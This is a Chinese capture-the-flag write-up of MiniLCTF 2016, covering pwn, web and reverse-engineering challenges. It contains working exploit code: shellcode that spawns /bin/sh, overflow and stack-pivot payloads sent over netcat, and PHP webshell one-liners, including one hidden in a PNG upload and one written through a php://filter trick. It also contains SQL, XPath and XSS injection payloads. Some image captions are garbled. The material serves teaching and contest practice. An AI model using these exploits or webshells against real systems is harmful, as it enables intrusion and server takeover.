直接溢出跳到数据段上预先存放好的 shellcode 处即可


```asm
BITS 32

_start:
    jmp test1

test:
    pop ebx
    mov BYTE [ebx + 0x7], al
    mov DWORD [ebx + 0x8], ebx
    mov DWORD [ebx + 0xc], eax
    lea ecx, [ebx + 0x8]
    xor edx, edx
    mov al, 0xb
    int 0x80

test1:
    xor eax,eax
    call test
    db '/bin/shA', 0x00

nasm shellcode.asm 编译 shellcode


```C
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>

void
init_connect() {
        char *arg[4] = {"/bin/cat", "10.170.55.102", "2336", NULL};
        //execve("/bin/netcat", arg, NULL);
        execve("./pwn4", arg, NULL);
}

char *
get_shellcode() {
        FILE *f;
        int c;
        int count = 0;
        char *shellcode = (char *)malloc(0x40);

        f = fopen("shellcode","r");
        while((c = fgetc(f)) != EOF) {
                shellcode[count] = (char)c;
                count++;
        }
        shellcode[count] = '\x00';

        printf("%s", shellcode);
        fclose(f);
        return shellcode;
}

void
write_payload(int fd) {
        char payload[0x80] = "AAAABBBBCCCCDDDD\x80\xa0\x04\x08";
        strcat(payload, get_shellcode());
        write(fd, payload, strlen(payload));
}

void
interact(int fd) {
        int     count = 0;
        char    command[0x100];

        while (1) {
                count = 0;
                memset(command, '\x00', 0x100);
                while (1) {
                        read(0, command + count, 0x1);
                        if (command[count] == '\n' || count >= 0xfe) {
                                break;
                        }
                        count++;
                }
                command[0xff] = '\x00';
                write(fd, command, strlen(command));
        }
}

int
main(void) {
        int     fd[2];
        pid_t   pid;

        if (pipe(fd) < 0) {
                printf("pipe error");
                exit(1);
        }

        if ((pid = fork()) < 0) {
                printf("fork error");
                exit(1);
        }

        if (pid > 0) {
                /* parent */
                close(fd[0]);
                write_payload(fd[1]);

                interact(fd[1]);
                /* simulate command "cat" */
                close(fd[1]);

        } else {
                /* child */
                close(fd[1]);
                dup2(fd[0], 0);

                init_connect();

                close(fd[0]);
                exit(0);
        }
        exit(0);
}

Pwn5

File: pwn5

WriteUp:

直接溢出覆盖 ebp,即 stack pivoting,将 esp 转移到数据段上的可控缓冲区上,然后通过 rop 来调用 system 即可

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>

void
init_connect() {
        char *arg[4] = {"/bin/cat", "10.170.55.102", "2337", NULL};
        execve("/bin/netcat", arg, NULL);
}

void
write_payload(int fd) {
        int i = 0;

        /* junk */
        write(fd, "AAAABBBBCCCC", 0xc);
        /* adr_stage pivot */
        write(fd, "\x00\xa5\x04\x08", 0x4);

        /* junk */
        for (i = 0; i < 0x0804a500 - 0x0804a080 + 4; i++) {
                write(fd, "A", 0x1);
        }

        /* system@plt */
        write(fd, "\xd0\x83\x04\x08", 0x4);
        /* ret of system */
        write(fd, "\xef\xbe\xad\xde", 0x4);
        /* adr_stage + 0x30 */
        write(fd, "\x30\xa5\x04\x08", 0x4);

        for (i = 0; i < 0x20; i++) {
                write(fd, "A", 0x1);
        }

        write(fd, "/bin/sh\x00", 0x8);
}

void
interact(int fd) {
        int     count = 0;
        char    command[0x100];

        while (1) {
                count = 0;
                memset(command, '\x00', 0x100);
                while (1) {
                        read(0, command + count, 0x1);
                        if (command[count] == '\n' || count >= 0xfe) {
                                break;
                        }
                        count++;
                }
                command[0xff] = '\x00';
                write(fd, command, strlen(command));
        }
}

int
main(void) {
        int     fd[2];
        pid_t   pid;

        if (pipe(fd) < 0) {
                printf("pipe error");
                exit(1);
        }

        if ((pid = fork()) < 0) {
                printf("fork error");
                exit(1);
        }

        if (pid > 0) {
                /* parent */
                close(fd[0]);
                write_payload(fd[1]);

                interact(fd[1]);
                /* simulate command "cat" */
                close(fd[1]);

        } else {
                /* child */
                close(fd[1]);
                dup2(fd[0], 0);

                init_connect();

                close(fd[0]);
                exit(0);
        }
        exit(0);
}

0x07 Web

苏打学姐的朋友

WriteUp:

描述说只有朋友才能访问,只需要修改 Rrferrer 为允许的就可以,看了给了几个链接,所以随意修改一个就可以
了。

苏打学姐撞上碳酸钠了

WriteUp:

打开源代码可以看到给的代码

key = "aa3OFF9m";
   $pass = isset($_GET['pass']) ? $_GET['pass'] : "";
   if ($pass != $key && sha1($pass)==sha1($key) ) {
       echo $flag;
   } else {
       echo "sha1 conllision</br>";

根据意思只要将你输入的字符的 sha1 值和系统给的 aa3OFF9m 的 sha1 值对比,相等就可以得到 flag,但是因为这是 php

这个地方 google 也可以 google 到,只要找到另一个字符加密后也是 0e 开头就可以被代码判断相等了,至于这段特殊的字符,你可以自己脚本去碰撞。就是随机加密字符,一直到 0e 开头为止,也可以去搜索一下,坑呢个别人已经碰过呢。

最后 payload


吓得苏打学姐都编码了

WriteUp:

一样打开源代码 可以看到代码

error_reporting(0);
   function show_flag(){
       $flag = "a f4ke flag";
       echo $flag;
       exit();
   }
   function anti(){
       $query = $_SERVER['QUERY_STRING'];
       $query = urldecode($query);
       $query = strtolower($query);
       if(preg_match('/show/', $query) or preg_match('/flag/', $query)){
           return false;
       }else{
           return true;
       }
   }
   if(anti()){
       eval('"$str=(string)'.$_GET['str'].'";');
   }else{
       echo 'detect the evil words';
   }

根据代码可以知道,只需要执行 show_flag()这个函数就可以得到 flag,并且代码将你传进来的字符 str 当着代码来执 行。

但是你不能直接就 show_flag,会被 anti()这个函数检查到,所以既然能够执行你传进来的代码,方式就很多了。你 可以把 show_flag 的编码一下,并且解码一下,就可以绕过了,这个给一个 payload
str = ${${eval(base64_decode($_GET[0]))}}&0=c2hvd19mbGFnKCk7
其实这里给了 eval 就相当给了一个 shell 了,完全可以用菜刀连接了, 构造 http://xxxxxxxxxxxx/evil.php?str=${${eval($_POST['pass'])}}


苏打学姐要打针了

Description:

学 xml 当然也要学习学习 xpath 咯–>http://www.w3school.com.cn/xpath/xpath_syntax.asp

WriteUp:

这个打开也可以看到源码 示,这是一个随 xml 文件中元素进行输出的代码。题目也给了 xpath 语法链接,其中有一
个重要的符号 | ,它可以将两个查询并焦输出, 原来的查询代码:
$query = “user/username[@id=’”.$uid.”‘]”; 所以我们可以构造一个特殊的查询:']| //* |user['
解释:先用 ‘] 将原来的括号闭合,再来一个查询所有元素的查询语句 //* ,最后使用 user[‘ 将最后的符号闭合。三 个查询使用 | 连接起来。


苏打学姐不会 PHP

WriteUp:

打开查看源代码有一个 示: .index.php.swp ,这是一个 vim 编辑器异常退出时生成的备份文件。所以下载下来恢
复一下,恢复,有很多人直接记事本打开看到,但是很乱,使用 vim 的命令恢复就很规整。 命令: vim ‐ r .index.php.swp
得到源码

<?php
   error_reporting(0);
   echo "<!‐‐.index.php.swp ‐‐>";
   if(!$_GET['id']){
       header('Location: index.php?id=1');
exit(); }
   $id=$_GET['id'];
   $a=$_GET['a'];
   $b=$_GET['b'];
   if(stripos($a,'.')){
       echo 'what are you ganshane?';
return ; }
   $data = @file_get_contents($a,'r');
   if($data=="me7ell ‐ like ‐ you!" and $id==0 and eregi("biubiu".substr($b,0,1),"biubiu4") and
   substr($b,0,1)!=4){
echo $flag; }
   else{
       print "go on...!!!";
}
?>

绕过分析:

  • id==0 且!$_GET(“id”)为假,这个地方使用 php 弱类型就行。 比如构造:id=false,id=0e…
  • $a 不包含点且 a 文件内容为特定的 a=http://your vps IP/test` 把其中 ip 用 iphex 编码为 0x739F915C iphex 工具 在线
  • 最简单是使用 php 伪协议。使用 php://input 输入流
  • b 满足 eregi(“biubiu”.substr( b,0,1)!=4。这是低版本 php 的 eregi 函数的问题。 使用 b=*, b=(什么也不填),都可 以绕过。


回字有几种写法

WriteUp:

url 后面跟了一个 id 参数,猜测是 sql 注入。但是直接注入会发现被 waf 拦截。那么如何绕过 waf 呢,waf 自身规则很严格,基本过滤了所有敏感字符。
我们 post 一个 id 参数,会被程序接收但是也同样被 waf 拦截了。但我们可以脑补一下程序员一定是使用了能同时接收 get 和 post 型的 request 函数,而 request 函数还能够通过 cookie 接收参数,而 waf 只对 get 和 post 来的数据进行了处理,而忽略了 cookie,造成注入。

最终 payload:
Cookie:id=-1 union select 1,2,flag,4 from `where`


easyXSS

Description:

http://ctf.math1as.com/xss2.php
请使用 chrome 54/55 进行本挑战
payload 必须无需交互,成功弹出 1 即可
请注意,无需交互指的是用户不能做除了打开页面外的任何操作
完成挑战后,把截图和 payload 发到邮箱 mathias@l-team.org 来获得你的 flag

WriteUp:

过滤了 script

而其他几乎没有限制

所以主要的思路是要绕过 Chrome 的 auditor

这里的通用方法是在敏感关键字处加入 script

比如

当然,也可以用一些字符集的问题

比如

然后关键字插入 %1B%28B 来绕过


xss challenge

Description:

题目链接 http://ctf.math1as.com/xss.php
请使用最新的浏览器(chrome 54/firefox 50)进行本挑战
payload 必须无需交互,请注意,无需交互指的是用户不能做除了打开页面外的任何操作,成功弹出 1 即可
完成挑战后,把截图和 payload 发到邮箱 mathias@l-team.org 来获得你的 flag

WriteUp:

一道 dom-xss,这里过滤了大部分的符号,比如.点号 ( 括号等

还有除了 onfocus 外的大部分事件

要构造出一个无需交互的 payload

你需要使用 autofocus

但是由于标签是并不在标准内

因此需要加入 tabindex=0 使其支持这个事件

最后加入 id=”2” location.hash 处输入#2 即可

但是我们的 1 被过滤了,怎么办呢

使用 prompt 函数,它支持用 es6 模板字符串传参

因此直接 ${3-2} 就成功的绕过了


当然,也可以使用<iframe>标签的 window.name 来实现参数的传递

方法不再赘述

-----------------------------------

**苏打学姐的相册**

Description:

苏打学姐有一个小相册,首页是她最喜欢的一张照片,她把 flag 也放在相册里了,你能找到它吗?(说不定 flag 旁边还有苏打学姐的全套表情包^_^

WriteUp:

很明显这是一道上传绕过,先上源代码:

```index.php


<form id="uploadFileform" action="upload.php" method="post" enctype="multipart/form-data" >
      <center>
      <img src="static/upload/suda.png" />
      <hr style="size: 1" />
      </center>
      <center>
       <input id="uploadImage" value="" type="file" name="uploadImage" size="50" />
          <p>今年苏打不收图,收图只收 PNG</p>
          <p>
           <input class="primary" type="button"  value="submit" onclick="uploadImages();"/>
          </p>
      <hr style="size: 1" />
      </center>

</form>

<script src="jquery-3.1.1.min.js"></script>

<script>
function uploadImages() {
    var str = $("#uploadImage").val().toLowerCase();
    if(str.length!=0){
       var reg = ".*\\.(png|jpg)";
       var r = str.match(reg);
       if(r == null){
        alert("你往上传了个啥?!");
       }
       else {
        if(window.ActiveXObject) {  
            var image=new Image();
            image.dynsrc=str;
               if(image.fileSize>51200){
                  alert("这图....有点大啊......别超 50K 吧");
                  return false;
               }
                }
            else{  
               var size = document.getElementById("uploadImage").files[0].size;
               if(size>51200) {
                alert("这图....有点大啊......别超 50K 吧");
                return false;
               }
            }
        $('#uploadFileform').submit();
       }
    }
    else {
       alert("图呢?");
    }
}
</script> 


```php+HTML
<?php
//ini_set("display_errors",'On');

if(!$_FILES){
    exit("图呢?");
}


if($_FILES['uploadImage']['size'] > 51200000){
    exit("这图....有点大啊......别超 50K 吧");
}

if($_FILES['uploadImage']['type'] !== "image/png"){
    exit("你往上传了个啥?");
}

$upload_dir = 'static/upload/';
$file_name = basename($_FILES['uploadImage']['name']);
$file_path = $upload_dir.$file_name;

$file_ext= substr($file_name, strrpos($file_name, '.') + 1);
if(eregi("^.*\.(php|php5|php4|php3|phps|ini|htaccess)$",$file_name)){
    exit("你往上传了个啥?");
}

$file = fopen($_FILES['uploadImage']['tmp_name'],'rb');
$bin = fread($file,filesize($_FILES['uploadImage']['tmp_name']));
fclose($file);
$info = unpack('H8head',$bin);
if(!($info['head'] === '89504e47' )){
    exit("你往上传了个啥?");
}

$black_list = array("<?php","<%","eval","assert");
foreach($black_list as $key=>$value){
    if(stristr($bin,$value)){
        exit("你是不是往图里插什么东西了.....我看出来了!");
    }
}
move_uploaded_file($_FILES['uploadImage']['tmp_name'],$file_path);
echo 'Uploaded: '.$file_path;
?>

好吧,我们看有哪几个地方限制了上传:

  • javascript
  • 后缀名黑名单
  • MIME 类型
  • 检测了文件头
  • 检测了文件内容里是不是含有<?php,<%,eval,assert

那我们上传一张正常的图片,然后在 burp 里修改后缀为可以被解析的 phtml,然后往图片内容里插入一句话木马:

<script language="php">$e = $REQUEST['e'];$arr = array($POST['pass'],);array_filter($arr, base64_decode($e));</script>

绕过了内容检测,菜刀连上就可以啦

(有同学对这个后门有疑问,这个菜刀连的时候地址填 http://xxx.xxx.xxx/eval.phtml?e=YXNzZXJD 就可以啦,详细参见 P 总的博客 https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html)


苏打学姐的另一个相册

Description:

咳咳..前面那个相册在前两天大家做题的时候被苏打发现了,所以她紧急删掉了自己珍藏的表情包……….但是亲爱的萌新们可能有所不知,苏打学姐的黑照在协会已流传多年,并且协会的高年级成员建了一个网站专门展示苏打学姐的黑照…….但好景不长,由于在网站上公开的黑照在网络上的影响过于恶劣,应有关部门要求下架了绝大部分照片.
而协会的大黑阔们把资源打了个加密包转移到了云上,链接,解压密码都还存在这个站上. 每次都通过一种极其”hack”的方式访问…..

WriteUp:

我们还是先看一下源代码:


```php
<?php
//int_set("display_errors","On");
if($_POST['shellname6ba3'] && $_POST['content8b7e']){
    $prefix = "<?php exit(you die); ?>";
    $content = $prefix.$_REQUEST['content8b7e'];
    file_put_contents($_REQUEST['shellname6ba3'],$content);
}

$include_file = empty($_GET['file']) ? "photo":$_GET['file'];
if(preg_match('/\.\./',$include_file)){
    exit('Impossible!');
}
include($include_file.'.php');
?>



```php
<?php
if(!$_GET['id']){
    $_GET['id'] = 1;
}

function query_filter($str){
    $str = strtolower($str);
    $black_list = array("\\","and","or"," ","/","*","+","="," ","\n");
    $safe_str = str_replace($black_list,array(''),$str);
    /*
    while($str !== $safe_str){
        $str = $safe_str;
        $safe_str = str_replace($black_list,array(''),$str);
    }
     */
    return $safe_str;
}

$query_str = query_filter($_GET['id']);
$db_host = 'localhost';
$db_name = 'xdsec';
$db_username = 'web';
$db_password = "testr";
$mysqli = mysqli_connect($db_host, $db_username, $db_password, $db_name);
if(!$mysqli){
    exit("DB error!");
}
$sql = "select * from pics where id =".$query_str;
//echo $sql;
$result = $mysqli->query($sql);
if(!$result){
    exit("Query failed!");
}
$row = mysqli_fetch_row($result);
$pre_link = "index.php?file=photo&id=".($_GET['id']<=1 ? 1:$_GET['id']-1);
$next_link = "index.php?file=photo&id=".($_GET['id']+1);
print <<<HTML
<html>
<title></title>
<body>
    <center>
    <DIV ID="soccer">
        <img SRC="{$row[1]}" border="0" onclick="javascript:window.open(this.src);" style="cursor:pointer;"/>
    </DIV>
    <hr>
    <p>Description: {$row[3]}</p>
    <p>Posted on {$row[2]}</p>
    <hr>
    <p><a href="{$pre_link}">上一张</p><p><a href="{$next_link}">下一张</p>
    </center>
    <SCRIPT>
var msecs=60;
var counter=0;
function soccerOnload(){
    setTimeout("blink()", msecs)
}
function blink(){
    soccer.style.visibility=(soccer.style.visibility=="hidden") ? "visible" : "hidden"
    counter+=1;
    setTimeout("blink()", msecs)
}
soccerOnload()
    </SCRIPT>
</body>
</html>
HTML;

?>


首先这个题目看网址就能发现一个?file=photo 参数,所以很有可能有文件包含,事实也是这样子的,所以我们先用 php://filter/convert.base64-encode/resource=index 读出 index 的源代码,得到了可以写文件的参数,但是无论如何都会在你写的文件前面加上 exit,我们需要绕过这个 exit

所以构造 payload:

content8b7e=aaaPD9waHAgZXZhbCgkX1BPU1RbJ3QnXSkgPz4=&shellname6ba3=php://filter/write=convert.base64-decode/resource=shell.php

content8b7e 参数中前面的 aaa 是为了补齐<?php exit(you die); ?>中 13 个可以被 base64 解码的字节(phpexityoudie,其余的将被跳过)为 16 个字节,因为 base64 是每 4 个字节解码成 3 个字节,这样一来三个 a 连同前面的一起被当做 base64 编码解码成乱码从而绕过了 exit 的执行,后面的 PD9waHAgZXZhbCgkX1BPU1RbJ3QnXSkgPz4=&shellname6ba3=被解码成一句话木马写入文件,拿菜刀连上就可以了 关于参数 shellname6ba3,不再详细解释,详见 P 总博客 https://www.leavesongs.com/PENETRATION/php-filter-magic.html

PS: 这个题的数据库里还有”苏打门”的下载链接,Flag 就是解压密码(当然…..下载下来以后其实是葫芦娃……)

0x08 Re

Easy GUI

Description: 最经典的 Windows GUI 逆向, 超简单的说.

File: EasyGUI.zip

WriteUp:

的确是最经典的 Windows GUI 逆向. 由 Win AIP 写成.

OD 直接下断点

bp GetDlgItemTextA

断下来之后, Ctrl+F9 回到用户空间, 直接就能找到验证部分的代码. 直接 OD 里面调试, 也可以根据地址在 IDA 里面读汇编/F5.

或者全程 IDA 分析可以(Ctrl+F12 显示字符串, 根据输出的字串定位代码位置).

函数地址 0x0401340, 加密方式是 key 和密文循环 XOR, 计算后和输入进行比对(所以最懒得话可以直接在 OD 里试 N 次读出 password).

python 脚本:

key = [ord(x) for x in "WinAPI"] * 10
secret = [0x20,0x58,0x00,0x20,0x20,0x20,0x08,0x58,0x1D,0x1E,0x3F,0x25,0x33]
flag = []

for i in xrange(13):
    flag.append(secret[i] ^ key[i])

flag = "".join([chr(s) for s in flag])
print(flag)

flag:

w1napi_1s_old


-----------------------------

**Easy Linux**

Description: 

IDA 不好用了...那你知道 GDB 么? Linux 下的神级动态调试器哦. 

PS: 主程序是 EasyLinux. 复制到虚拟机后记得"chmod +x EasyLinux"

File: EasyLinux.zip

WriteUp:

就是个 Linux 下的逆向而已...其实非常简单.

这个程序为了防止被 IDA 直接静态分析, 简单的玩了点低级的花招:

data.dat 实际上是个.so 文件(Linux 的 dll), 执行主程序后主程序会装载这个 data.dat(Linux 下文件没有后缀名这一说法).

真正的校验函数藏在这个 data.dat 中...所以有以下分析方案:

- 直接 IDA 分析这个 data.dat, IDA 会识别出来. 然后 F5 大法即可. 但是要求能够看出 data.dat 的本质.
- 在 Linux 下用 GDB 动态调试主程序, 因为很简单所以不是很难. 这也是本题当初的目的.

装载 data.dat 的步骤发生在 main 函数执行之前. 读附带的源代码可以明白原理.

校验函数及其简单, 仅仅是将密文的每一位和 0xCC 异或.

python 脚本:

secret = [0x9B,0xFF,0xA0,0xAF,0xFC,0xA1,0xA9,0xFE,0x80,0xA5,0xA2,0xB9,0xB4]
key = 0xCC

flag = [(key ^ x) for x in secret]
flag = “”.join([chr(s) for s in flag])

print(flag)


flag

W3lc0me2Linux


--------------------------

**壶中的大银河**

Description: 

你知道 Linux 的 signal 机制么?

这次是 Easy 级的, 根本没有难度嘛.

File: Galaxy.zip

WriteUp:

有人吐槽之前 LCTF 出现了这个名字...实际上这个题目就是它的超简化版本(所以是 Easy 嘛).

听起来很迷, 实际上仅仅是 Linux Signal 而已.

首先程序在通过 signal 函数将校验函数和 alarm 信号关联起来. 然后正常的进行输入.

得到用户输入后调用 alarm(1). 该函数会在延迟 1 秒后生成 alarm 信号. 随后校验函数被调用.

(Google Linux signal 即可详细了解...)

校验函数仍然不是很难, 在程序中被命名为 handler. 用户输入被保存在全局变量中, 校验函数从中读取输入.

输入要求长度为 20. 然后对输入进行一次循环.

- 偶数位(i = 0, 2, 4...): `input[i] = input[i] ^ 0x9`
- 奇数位(i = 1, 3, 5...): `input[i] = input[i] ^ input[0]`

计算后和正确字串进行比较, 若不相等则将一个全局变量置为 0(否则为 1). main 函数根据该标志输出结果语句.

python 脚本:

secret = “8BVXznh]z^VXdAfC}PgE”
secret = [ord(x) for x in secret]

for i in xrange(20):
if (i % 2) == 0:
secret[i] = secret[i] ^ 0x09
else:
secret[i] = secret[i] ^ secret[0]

flag = “”.join([chr(s) for s in secret])
print(flag)


flag

1s_is_also_important


-----------------------------------

**蓬莱的玉枝**

Description: 

一样的 GUI.

有本事不拆使魔强行过呀(雾).

File: rand.zip

WriteUp:

仍然是 win API 的 GUI. 实际上除了校验部分和 EasyGUI 是一个图形界面...(图形界面长什么样无所谓嘛)

在全局变量处保存了两个值 seek 和 password, 均用于校验输入.

在程序运行初始化时:

- 计算程序文件的校验和, 如果文件被修改, 则校验和不相等, 修改全局变量中的 seek.

在校验函数执行前后:

- 检测程序是否被调试器调试(仅仅使用了一个简单的 API 进行测试), 若没有被调试则将全局变量 password 的每一位和 0x5 异或.否则和 0x9 异或.

除去这两步, 剩下的方法和 EasyGUI 基本没有区别.

检验函数是使用 rand 生成一串序列, rand 的种子数即为 seek.

之后将 password 和 rand 序列按位异或(都是异或 233). 计算后和输入进行比对.

得到 flag 思路: password ^ 0x5 -> password ^ rand(seek = 17) -> flag

C 脚本:

//Flag:
//LCTF{learn_more_think_more}
//compile command : gcc -std=c99 -o getflag getflag.c

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

int main(int argc, char const *argv[])
{
unsigned int seek = 17;
unsigned char key = ‘\x05’;
unsigned char randnum;
unsigned char res;

char password[] = "\x17\x14\xe7\x83\xa4\x63\xac\x91\xcb\xc5\x42\x4a\x8b\x5b\x9d\x93\x98\x5\x20\xb1\x29\xc1\x8c\x53\x92\x8d\x36";

srand(seek);

for(int i = 0; i < strlen(password); ++i){
    randnum = (unsigned char)((unsigned int)rand() % 0xFF);
    res = password[i] ^ randnum;
    res = res ^ key;

    printf("%c", res);
}

puts("");
return 0;

}


--------------------------------

**永遠の春夢**

Description: 

**

看似杂乱的没有通路...仔细观察下就会发现其实很简单呢~

PS: 这次有 FB 了哦~

Hint: SMC - Self Modify Code. 注意.text 段的属性哦~

File: 123.zip

WriteUp:

典型的 SMC(self modify code)程序.

具体的函数运行方式读源代码即可了解(已附在 wp 内).

程序是在编译后手动进行的首次加密...可以写个脚本, 或者 IDA Script, 也可以更暴力的直接用 WinHex(内置了 XOR Edit).

简单来说, 程序在获取用户输入后会解密两块代码, 这两块代码分别对输入进行处理和检验.

有趣的是, 在处理输入后, 程序会立即再次将代码块加密回去. 而且两个代码块是交替解密的 -- 也就是说没法 dump 内存.

对于这个程序, 因为逻辑简单, 所以定位了要解密的代码块的地址和长度以及使用的 key 后, 直接 IDA Script(或者其他手段)将代码块全部还原.

然后 F5 大法即可. 需要注意的是, 处理加解密的函数 F5 没法第一次就正确分析...或许直接读汇编就可以了(也可以修正 F5 的结果).

这个里简单说一下校验:

- 对于密文字串 secret: `secret[i] = (secret[i] + 0x30) % 0xFF`
- 对于输入 pd: `pd[i] = 0xFF & (((pd[i] << 4) & 0xFF) | ((pd[i] >> 4) & 0x0F))` (交换高低位)
- 最后对 pd 和 secret 进行校验: `pd[i] ^ 0x55 == secret[i]`

python 脚本:

secret = [97, 49, 223, 1, 178, 48, 81, 49, 112, 147, 50, 112, 210, 162, 51, 147, 225, 210, 226, 23, 82]
secret = [(x + 0x30) % 0xFF for x in secret]
secret = [x ^ 0x55 for x in secret]
secret = [0xFF & (((x << 4) & 0xFF) | ((x >> 4) & 0x0F)) for x in secret]

flag = “”.join([chr(s) for s in secret])
print(flag)

Flag:

LCTF{SMC_is_excited!}

RE60

Description:考验你 re 基本功的时候到啦~

File:re60.3111C1CAF04BADB492CC8CC37F61218B740B4818

WriteUp:

  1. 拿到文件先用 file 查看

    snipaste_co38puChina Standard Timeernpm38e_u38ernpm38e_20161224_213838

  2. IDA 打开发现在 main 函数中的两个字符串

snipaste_co42puChina Standard Timeernpm42e_u8ernpm42e_20161224_214208

  1. 发现判断程序是否成功逻辑的函数

    snipaste_co46puChina Standard Timeernpm46e_u2ernpm46e_20161224_214602

  2. 接着进一步查看下去,很容易发现关键算法就是字符串的逐位异或问题;HexStra 就是我们的执行完异或算法的结果。

    gjsf

  3. 将上面两个字符串逐位异或即可得到 flag:AB7E032568F1084CD8C78B7650AE30BF

snipaste_co13puChina Standard Timeernpm13e_u26ernpm13e_20161224_221326

End

What do you think?

本文标题: MiniLCTF
原始链接: http://www.tr0y.wang/2016/12/16/MiniLCTF/
发布时间: 2016.12.16-21:53
最后更新: 2019.05.31-16:36
版权声明: 本站文章均采用CC BY-NC-SA 4.0协议进行许可。转载请注明出处!